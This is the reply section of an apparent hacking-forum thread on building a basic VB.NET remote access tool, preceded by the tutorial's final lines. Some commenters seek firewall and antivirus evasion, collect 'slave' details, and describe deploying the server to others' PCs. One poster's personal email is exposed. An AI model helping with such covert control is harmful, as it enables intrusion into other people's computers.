This would do nothing as there is no textbox 4 because this is only an example, and since there is no textbox 4 an error would be generated, but that is how you would do it.

Now that's basically it, this is basically it for the client. this script is very versatile as dat() can be called on any button press/key press etc... so if you want more features lets say one create a message on the computer with the server you would use this in a separate button press pointing to another textbox like this

```
dat("1*" + TextBox4.Text)"
```

That confused me :/

ULTIMATExxxHACKER - March 17, 2011, 4:13 pm

i love this share and i love all your shares thanks again

Inventor1 - March 25, 2011, 3:10 pm

Great Tutorial, Thanks!

Is there a way to make it go through the Win7 firewall? When I RATED myself, Windows firewall popped up and asked me if I wanted to let it connect.

Inventor1

Akarin - April 5, 2011, 11:13 am

Nice, I could really learn from it or take some code snippets

Awesome tutorial!

H4ckThePlanet - April 5, 2011, 11:46 am

Very useful TuT, worth bookmarking. Thanks!

super2277 - April 6, 2011, 2:57 am

i not understand can you make it little more readily with pictures? please

DarkKoop - April 7, 2011, 4:38 am

Are there other methods to send datas over the network to other pcs?

TomTheBeast - April 7, 2011, 8:15 am

(Apr 6, 2011 02:57 AM)super2277 Wrote: [\[CITE\]](#) i not understand can you make it little more readily with picthures? please(Not flamming)

If you don't understand, try to learn english then stop leeching.

Pwhoam - April 19, 2011, 6:18 am

This seems a very good guide, but TcpClient still should trigger firewall

404™ - April 19, 2011, 9:41 am

Nice tut, will try this now :D thanks man!

Kid Wiz - April 19, 2011, 1:00 pm

nice tutorial. really is helpful (:

hackBoTneT - June 1, 2011, 6:06 am

Can I get a source?? I got 7 errors

Error 1 'Private Sub check()' has multiple definitions with identical signatures. Blazers'

Rat\Client.vb 26 17 Blazers' Rat

Error 2 Declaration expected. Blazers' Rat\Blazers' Rat\Client.vb 48 1 Blazers' Rat

Error 3 Declaration expected. Blazers' Rat\Blazers' Rat\Client.vb 79 1 Blazers' Rat

Error 4 Statement cannot appear outside of a method body/multiline lambda. Blazers' Rat\Blazers' Rat\Client.vb 81 1 Blazers' Rat

Error 5 'id' is not declared. It may be inaccessible due to its protection level. Blazers' Rat\Blazers' Rat\Client.vb 82 26 Blazers' Rat

Error 6 Declaration expected. Blazers' Rat\Blazers' Rat\Client.vb 84 1 Blazers' Rat

Error 7 'End If' must be preceded by a matching 'If'. Blazers' Rat\Blazers' Rat\Client.vb 85 1 Blazers' Rat

eggman100 - August 2, 2011, 8:33 am

Thanks a lot mate for this :) - I tested it out and it works perfectly (with a few glitches! ;)) - anyway :)

-

This is my one that I made while using this tutorial => - all source code and that :)

<http://www.mediafire.com/?v49lh84cdhht7lv>

Just a basic overview of what he is showing here => - The design is cool too :D

My first (probably) program in VB :P

saafinkhan - August 23, 2011, 9:35 pm

i didnt understand where to put the codes bcoz i m beginner can u plzz provide me tutorials with images or video or can u give me just the direct program plzzz

stcupp - August 24, 2011, 1:18 am

nice tutorial thank you for contributing

lakiluki - August 24, 2011, 11:57 am

Cant connect to localhost (127.0.0.1) :(

The MammoTh - August 24, 2011, 12:13 pm

Really Nice guide. Good job on this. Old but Gold.

Sitlin - September 8, 2011, 12:16 pm

i have a bit of a problem because when i did it all and press "Save All" then i go to the folder with client and server but theres no .exe in Client\Client\bin\debug\ and i tried remaking it but nothing helps? its really frustrating me!!!

KDBFame - September 10, 2011, 2:34 am

@ Sitlin, you need to Build the .exe first and the you find it in bin/Release folder :D

Gee4rce - September 23, 2011, 6:51 am

There's an unhandled exception Error wich pops up:
(Other peeps should have this error, too..)

First time i connect to Server everything is fine...
But if i close the client and start it again, and try to connect i get an unhandled exception error (See Details below)

[im sorry, the error code is in german, maybe it still helps?!]

[img]<http://eiselord.bplaced.net/Error.png>[/img]

Quote:Informationen über das Aufrufen von JIT-Debuggen
anstelle dieses Dialogfelds finden Sie am Ende dieser Meldung.

Ausnahmetext

System.InvalidOperationException: Der Vorgang ist für nicht verbundene Sockets unzulässig.
bei System.Net.Sockets.TcpClient.GetStream()
bei WindowsApplication1.Form1.dat(String dat)
bei WindowsApplication1.Form1.Button2_Click(Object sender, EventArgs e)
bei System.Windows.Forms.Control.OnClick(EventArgs e)
bei System.Windows.Forms.Button.OnClick(EventArgs e)
bei System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
bei System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
bei System.Windows.Forms.Control.WndProc(Message& m)
bei System.Windows.Forms.ButtonBase.WndProc(Message& m)
bei System.Windows.Forms.Button.WndProc(Message& m)
bei System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
bei System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
bei System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

Geladene Assemblys

mscorlib

Assembly-Version: 4.0.0.0.

Win32-Version: 4.0.30319.237 (RTMGDR.030319-2300).

CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll.

--

Backfist-Client

Assembly-Version: 1.0.0.0.

Win32-Version: 1.0.0.0.

CodeBase: file:///C:/Users/Eissele/Desktop/Backfist-Client.exe.

--

Microsoft.VisualBasic

Assembly-Version: 10.0.0.0.

Win32-Version: 10.0.30319.1 built by: RTMRel.

CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/Microsoft.VisualBasic/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll.
--
System
Assembly-Version: 4.0.0.0.
Win32-Version: 4.0.30319.236 built by: RTMGDR.
CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll.
--
System.Core
Assembly-Version: 4.0.0.0.
Win32-Version: 4.0.30319.233 built by: RTMGDR.
CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll.
--
System.Windows.Forms
Assembly-Version: 4.0.0.0.
Win32-Version: 4.0.30319.235 built by: RTMGDR.
CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll.
--
System.Drawing
Assembly-Version: 4.0.0.0.
Win32-Version: 4.0.30319.1 built by: RTMRel.
CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll.
--
System.Configuration
Assembly-Version: 4.0.0.0.
Win32-Version: 4.0.30319.1 (RTMRel.030319-0100).
CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll.
--
System.Xml
Assembly-Version: 4.0.0.0.
Win32-Version: 4.0.30319.233 built by: RTMGDR.
CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll.
--
System.Runtime.Remoting
Assembly-Version: 4.0.0.0.
Win32-Version: 4.0.30319.1 (RTMRel.030319-0100).
CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Runtime.Remoting/v4.0_4.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll.
--

Microsoft.VisualBasic.PowerPacks.Vs

Assembly-Version: 10.0.0.0.

Win32-Version: 10.0.30319.1.

CodeBase:

file:///C:/Windows/assembly/GAC_MSIL/Microsoft.VisualBasic.PowerPacks.Vs/10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.PowerPacks.Vs.dll.

--

System.resources

Assembly-Version: 4.0.0.0.

Win32-Version: 4.0.30319.1 built by: RTMRel.

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.resources/v4.0_4.0.0.0_de_b77a5c561934e089/System.resources.dll.

--

System.Windows.Forms.resources

Assembly-Version: 4.0.0.0.

Win32-Version: 4.0.30319.1 built by: RTMRel.

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms.resources/v4.0_4.0.0.0_de_b77a5c561934e089/System.Windows.Forms.resources.dll.

--

mscorlib.resources

Assembly-Version: 4.0.0.0.

Win32-Version: 4.0.30319.235 (RTMGDR.030319-2300).

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/mscorlib.resources/v4.0_4.0.0.0_de_b77a5c561934e089/mscorlib.resources.dll.

--

JIT-Debuggen

Um das JIT-Debuggen (Just-In-Time) zu aktivieren, muss in der Konfigurationsdatei der Anwendung oder des Computers (machine.config) der jitDebugging-Wert im Abschnitt system.windows.forms festgelegt werden. Die Anwendung muss mit aktiviertem Debuggen kompiliert werden.

Zum Beispiel:

```
<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>
```

Wenn das JIT-Debuggen aktiviert ist, werden alle nicht behandelten Ausnahmen an den JIT-Debugger gesendet, der auf dem Computer registriert ist, und nicht in diesem Dialogfeld behandelt.

How do i fix this?

(Other peeps should have this error, too..)

grotesquecutey - November 10, 2011, 7:09 am

i have a RAT when i try to send the server to slaves some gives a .net framework error and to other is work but when i open the client and type their ip and type port the client can't connect?
do i need to port forward?

MOD3M - November 14, 2011, 11:20 am

Excellent work. Greatly detailed tutorial. Very informative.

Reflexo - November 14, 2011, 11:30 am

Thanks so much for this thread, it really helped me very much when I would learn how it works with the RAT and the beginning. Thank you very much.

Sverdvs - November 14, 2011, 11:37 am

Nice tutorial, man!

Gonna try this, veeery nice! ?

Pikabuzz1 - December 15, 2011, 10:31 am

I have made the client and the server. I sent the server over the host computer and put the correct IP and port into the client but it won't connect. Any solutions?

onsenjaill - December 15, 2011, 3:52 pm

Nice tut, will try this out tomorrow

sulysaly - December 30, 2011, 3:39 am

nice tut i will try it soon thanks for shearing

globemasters - December 30, 2011, 7:54 am

Handsome and very useful tutorial
everything briefly described appreciated.

sulysaly - December 31, 2011, 12:49 am

nice tutorial thank you for shearing dude

Zunix - January 13, 2012, 7:00 pm

Edit: Mine now works, but how can I run programs? I can only open webpages atm...

HexOffsets - January 13, 2012, 8:24 pm

this all worked so perfectly... so i need a persons IP Adress to access there computer XD

im sortave a noob at the whole reading thing but im good with programming... PM me if u can...
thanks

Zunix - January 14, 2012, 12:20 pm

Guys. I have 2 problems.

1. I can only open a webpage. Can't run a program.
2. The only way I can connect is through an IPV4 Address. Thats how it should be right?

vullux - February 4, 2012, 3:02 pm

How can i make the slaves's ip,os,current user,computer name and all that appear on my client when they launch the server?

EDIT : Also i can only connect to localhost (myself) and nobody else. I tried to send it to my friend and he sent me his IP but i couldn't connect to him.

YET ANOTHER EDIT : If i restart the client with the server still active, the connection works but the

DAT command doesn't work... [it won't open websites after i close the client then start it again]

ronaktoshniwal94 - February 25, 2012, 1:05 pm

getting too many errors.. :/ using VB 2010

The B3ar - February 26, 2012, 2:34 pm

Im gonna try this out tomorrow for sure!

This looks really, really great! ? Thanks!

Alexandr0 - May 18, 2012, 4:45 pm

When save server and client in the folder i get only svhost .Nowhere exe files :S where is the problem ?

D-gravE - July 21, 2012, 11:07 am

no capito00 :(

pliz foto por capito

TechApp - July 21, 2012, 2:17 pm

Very nice tutorial, even though I already know how to make a RAT and a server, I think this is a very well written tutorial for a very basic VB.net RAT. Well done.

KenoBeat - August 9, 2012, 8:22 am

Thk bro this source code is very very usefull !! :)

Khaos Theory - August 9, 2012, 9:17 am

(Aug 9, 2012 08:22 AM)KenoBeat Wrote: [\[CITE\]](#) Thk bro this source code is very very usefull !! :)Quit grave digging old threads about rats!

hehehehehe1 - August 24, 2012, 11:30 pm

Sorry I am a noob, but how would i use this and make my slaves computer shutdown? I just need to know how so send the data or whatever.... lol it is realllly confusing me. BTW a GREAT tutorial, thankyou very much!

mtcoder - August 24, 2012, 11:46 pm

nice work bro...I was searching for this ????

HadyHaroon - October 15, 2012, 1:04 am

hi there

this was cool TUT.i made it,but i cant send any command

will you plz tell how to use it

thankss

mullinupp - October 16, 2012, 1:16 pm

thanks for sharing to us, vouch for you

Hackerboy xXDANGERXx - October 16, 2012, 2:03 pm

Have you created this? NO!!! COPY AND PASTE!!!

<http://freesteam.org/threads/visual-basic-net-rat-tutorial.1541/>

TRY TO MAKE THE CODE BY YOURSELF!!!

Declan122 - October 16, 2012, 2:55 pm

Wow, this is really nice! I've bookmarked and I'll test it tomorrow. Good job sir!

xLexiand - December 6, 2012, 12:48 am

Nice tutorial, but next time give credit

Tech Experts - December 6, 2012, 12:54 am

Respect brother nice .man !

thanks for the share

bartjuh10 - December 27, 2012, 11:46 am

Quote:Wikipedia's description: http://en.wikipedia.org/wiki/Remote_Administration_Tool

RAT stands for Remote Access Trojan/Tool

Change that, it's not Access it's Administration, and I never see the T as 'Trojan' anywhere, so just leave it as Tool.

Very nice guide, really in-depth. If I'd not hate on VB I'd definitely try this out :)

Anonymous_X_ - January 27, 2013, 10:56 am

Strange, whenever I press "Connect" the program starts to crash, but instead pops up a message box saying Can not connect to designated ip. Help anyone?

Traitor-Panda - January 27, 2013, 12:23 pm

(Jan 27, 2013 11:56 AM)Anonymous_X_ Wrote: [\[CITE\]](#) Strange, whenever I press "Connect" the program starts to crash, but instead pops up a message box saying Can not connect to designated ip. Help anyone?

Read up on basic sockets before venturing into a project like this one :)

Anonymous_X_ - January 27, 2013, 12:36 pm

(Jan 27, 2013 01:23 PM)Traitor-Panda Wrote: [\[CITE\]](#) Read up on basic sockets before venturing into a project like this one :)

I know most of the basics, can you sort of help me sort this, please?

EDIT: I sorted out the crashing problem, but now, even when I use and follow all the right stuff posted in this tutorial, it keeps on saying can not connect to designated ip.

Someone Please help >.<

HadyHaroon - January 28, 2013, 1:25 am

thanks for this nice tut

i made the project .it work very well when it in one pc

but when i tried it in 2 pc it did not work

i put the server in my pc and the client in my laptop but it didnt work at all

can you or anyone help me to make it work in 2 pc

xTechnologYx - January 28, 2013, 12:37 pm

Thanks!!!! This is really useful for newbies

zosoftnet - January 29, 2013, 4:34 am

Basic? Good tutorial... ;-) Easy to understand..Keep it up..Thumbs up....

JasonLearnsC0de - February 27, 2013, 1:39 pm

Do I have to port forward for this or make them port forward? It just can't connect.

Mr.Notorious - February 27, 2013, 5:16 pm

Thanks for the op tutorial siir ily soo so much for this :D

hackthehack - March 24, 2013, 8:02 pm

I run the server, then the client (Vis Versa, I have tried both ways) then i try my IP address by logging in to my router then i use the ip from IPchicken.com and other sites but when i try to connect I get this error | "Can not connect to the designated IP at this time" |

Can you please give me any advise or something

Thank you in advance

P.s. Im not sure if I can leave my email but just in case you want to make sure i get your reply here's my email | lancasterjacob7@gmail.com

:D

I run the server, then the client (Vis Versa, I have tried both ways) then i try my IP address by logging in to my router then i use the ip from IPchicken.com and other sites but when i try to connect I get this error | "Can not connect to the designated IP at this time" |

Can you please give me any advise or something

Thank you in advance

P.s. Im not sure if I can leave my email but just in case you want to make sure i get your reply here's my email | lancasterjacob7@gmail.com

:D

unSatisfied - March 24, 2013, 8:22 pm

Wow looks like a good tutorial. Trying it now!

Are you dead - March 25, 2013, 9:51 am

Lol why a 3 year old thread? if you liked the tut should have bookmarked it

Madara-Uchiha - March 25, 2013, 11:26 am

Nice and Clean Tutorial! Thank you very much!

ProfitCoder - March 25, 2013, 4:47 pm

Nice thread ;)

Thanks for the share

Lightsout - June 28, 2013, 4:59 am

helped me a bunch a while ago, forgot to vouch. Thanks Op.

Trollkarlen - June 28, 2013, 6:06 am

Really good tutorial man thanks ?

Really nice tutorial thanks man ?

3412 - July 1, 2013, 12:14 am

Nice tutorial. I used this to make a "mini-rat". Only problem was that the victim needs to port forward(server side). Other than that this helped a lot.

fillobotto - July 2, 2013, 2:05 pm

I think that staff should remove tutorials about RATs like this one. It doesn't really teach you how sockets work and also in my opinion is a wrong example to start with.

Illuminati? - July 2, 2013, 2:09 pm

I'll be trying this later. thank you.

Im_RanDoM - July 2, 2013, 3:16 pm

really nice tutorial going to read it later tonight

xdyuri - July 2, 2013, 3:25 pm

nice share men try it later

LOL

:)

Marwix - July 4, 2013, 11:35 am

very good guide, i really love it ;)

?Future - August 14, 2013, 10:11 pm

Nice tutorial! Im definitely going to be using this some day!

oxivhack - August 15, 2013, 10:56 am

Thank you for sharing, it's nice :)

Raganius - September 8, 2013, 3:24 pm

Very interesting tut bro :D

Keep it up.

index.php - September 9, 2013, 4:26 am

GRAVEDUG THIS THREAD IS OVER 5 YEAR OLD KTHANKS

T0ucaNSaM - September 15, 2013, 6:07 am

Nice tut but more pics wold have been nice to make things easier and possibly shorter. But overall was packed with step by step info. Thnks for this bro.

WazzUppp - September 15, 2013, 6:29 am

Awesome tutorial, but unfortunately not doesn't seem to cover BinaryReader and BinaryWriter. Would be perfect if you'd add those.

IceTimux - September 15, 2013, 8:22 am

Quality tutorial, very nice, bookmarked it to try it later, would of been nice to add some pictures for the beginners

DazEErR. - September 22, 2013, 4:27 pm

This works great just tryed it but when I sent it to my mate it didnt work only on my PC

IMHERETOLEARN - October 14, 2013, 1:29 pm

I must say, that this helped me out alot. Thank you man

Moon Rock - November 21, 2013, 11:51 am

(Nov 21, 2013 11:20 AM)CallofCyandic Wrote: [\[CITE\]](#) Please help me... (skype: les.de)

Warning 1 'Public Sub New(port As Integer)' is obsolete: 'This method has been deprecated. Please use TcpListener(IPAddress localaddr, int port) instead. <http://go.microsoft.com/fwlink/?linkid=14202>

'. C:\Users\User\Documents\Visual Studio

2012\Projects\WinSock\WinSock\Form1.vb 21 13 WinSock

This thread was made in 2010 most chances he's not going to help you.

rampageart - November 22, 2013, 5:33 pm

Thanks for this, pretty useful //ss

Courier Six - December 9, 2014, 5:08 pm

I love this tutorial, you did a great job if you did code it of course! :3 (Joking!)

Edit: By the way I am still using Visual Basic 2010 studio

Hawk HF - December 9, 2014, 7:29 pm

(Dec 9, 2014 06:08 PM)-Excalibur- Wrote: [\[CITE\]](#) I love this tutorial, you did a great job if you did code it of course! :3 (Joking!)

Edit: By the way I am still using Visual Basic 2010 studio

Please take a look at the date in which threads were created before posting.

That's nearly 5 years ago.

Courier Six - December 10, 2014, 1:07 pm

(Dec 9, 2014 08:29 PM)Hawk HF Wrote: [\[CITE\]](#) Please take a look at the date in which threads were created before posting.

That's nearly 5 years ago. Yes, I knew that it was posted that long ago, I stumbled upon this and thought it was a good idea!

PapaBeans - December 10, 2014, 1:16 pm

(Dec 10, 2014 02:07 PM)-Excalibur- Wrote: [\[CITE\]](#) Yes, I knew that it was posted that long ago, I stumbled upon this and thought it was a good idea!

That is called grave digging, and is highly frowned upon.

Zen - December 10, 2014, 2:50 pm

(Dec 10, 2014 02:16 PM)PapaBeans Wrote: [\[CITE\]](#) That is called grave digging, and is highly frowned upon. No it isn't, stop spreading false information. This is a good thread and actually teaches people as it describes the code.

PapaBeans - December 11, 2014, 11:30 am

(Dec 10, 2014 03:50 PM)Zen Wrote: [\[CITE\]](#) No it isn't, stop spreading false information. This is a good thread and actually teaches people as it describes the code.

When someone posts on a very old thread on a forum, it is called gravedigging.

I never said anything about the code to degrade it.

akam ranya - January 3, 2015, 12:58 pm

Really nice, going to add this to my guide list.

Courier Six - January 3, 2015, 1:58 pm

(Jan 3, 2015 01:58 PM)akam ranya Wrote: [\[CITE\]](#) Really nice, going to add this to my guide list.
Please don't gravedig, I was caught gravedigging here a while ago, this thread was made 3-4 years ago, it is dead and extremely outdated

QyXy - January 4, 2015, 1:22 am

How the hell did someone even find this thread 5 years later?
This guy must be really into monster trucks because he's a....

Gravedigger.
Sorry for the bad pun.

Fajitas - January 4, 2015, 3:48 am

Cool thanks very much, now i can die in peace

Adderall - January 16, 2015, 5:48 am

Nice for sharing this thread 5 years ago XD. I will check it out!

StalkerDz - February 11, 2015, 10:09 am

goood work man keep up i'll try to do this

hellomen - February 11, 2015, 10:23 am

All these people: "oh ye, gonna use it now!"
All people a bit known in this stuff:
"{facepalm} retards -.-"
Hilarious to see replies based on this

SIM-1361621 - February 11, 2015, 10:29 am

I am excited at this moment. Going to experiment with my 2 PC. Though I will use it only for self defense.

halearn - May 24, 2015, 11:21 am

Basic vb.net socket programing cheers ! the real challenge is to convert it from local lan use to over internet , you will run into problems like unstatic local and external ips , port forwarding , nat and more , making a rat is no easy task for sure , but this is a great tutorial to start with so good job.

TheDarkWolf1800 - May 26, 2015, 4:09 pm

remote access trojan/tool ???? Is there someone with a brain here ???!!! A RAT is an Remote Administration Tool !!! Someone that explain how to code a RAT NEED to know what he is talking about and what are the uses of a RAT !!!

Ninja - May 26, 2015, 5:57 pm

(May 26, 2015 04:09 PM)TheDarkWolf1800 Wrote: [\[CITE\]](#) remote access trojan/tool ???? Is there someone with a brain here ???!!! A RAT is an Remote Administration Tool !!! Someone that explain how to code a RAT NEED to know what he is talking about and what are the uses of a RAT !!!
Translation:
Remote access trojan/tool? Is there someone with a brain here? A RAT is a Remote Administration Tool. Someone that is explaining how to code a RAT needs to know what he is talking about and what the uses are of a RAT.

Armada - May 27, 2015, 12:43 am

Not only is this guide a very good basic starting point for a Remote Admin Tool, but also a very good lesson for Client/Server connectivity.

Nice Tutorial OP, thanks for the share.

zax0r - June 22, 2015, 3:47 am

Thanks!! I'm going to build something nice based on this :)

AzkCoding - June 22, 2015, 3:51 am

Great give aways , Thank you man!

Shnizzle - June 22, 2015, 4:57 am

Thanks for making this more understandable, I'm going to get it bookmarked for later use. x)

Fettsack - June 25, 2015, 6:28 am

Guys:

Whenever I start server, client , do the webpage example and shutdown client and restart client again, it DOES NOT OPEN a webpage on my still active server?

Why?

Xamelion - June 29, 2015, 6:44 am

is this fud anymore ? and thanks for share bro

jackselecta - July 11, 2015, 12:50 am

Merci pour ce partage, je ne suis pas un pro en anglais mais ce post était très instructif, merci ?

everill - July 17, 2015, 11:29 am

hey what ip do i use trying to test it on my pc and public ip or ipv4 dont work anyone want to explain i am noob :)

Mr. Corleone - July 18, 2015, 7:17 am

The original guide is from 2008... Why even reply..

Krysis - July 27, 2015, 1:26 am

Nice tutorial!

It's good to just get a perspective on how things works!

Nice copy/paste mate ;)

Mr.ProVanzla - July 31, 2015, 6:26 am

have this rat options? or how to add?

OsDon - August 8, 2015, 12:00 pm

Awsome Tutorial Thanks Dude Thanks !!

Paul Wilson - August 8, 2015, 7:39 pm

Bookmarked for later

will read

b4getws - August 30, 2015, 7:41 pm

please can you help me for making server (in vb6 with winsock API) and client (in vb.net) ... thanks

asdfghjklwertuio345678 - August 30, 2015, 8:21 pm

Very nice tutorial man. I would love to give you positive rep, but I can't at the moment.

SIM-2580909 - September 26, 2015, 7:55 pm

Does this work??? :) :) :) I dont want to waste my time. :P

flash1 - December 3, 2015, 3:02 pm

Nice run through and nothing wrong with improving on others work :)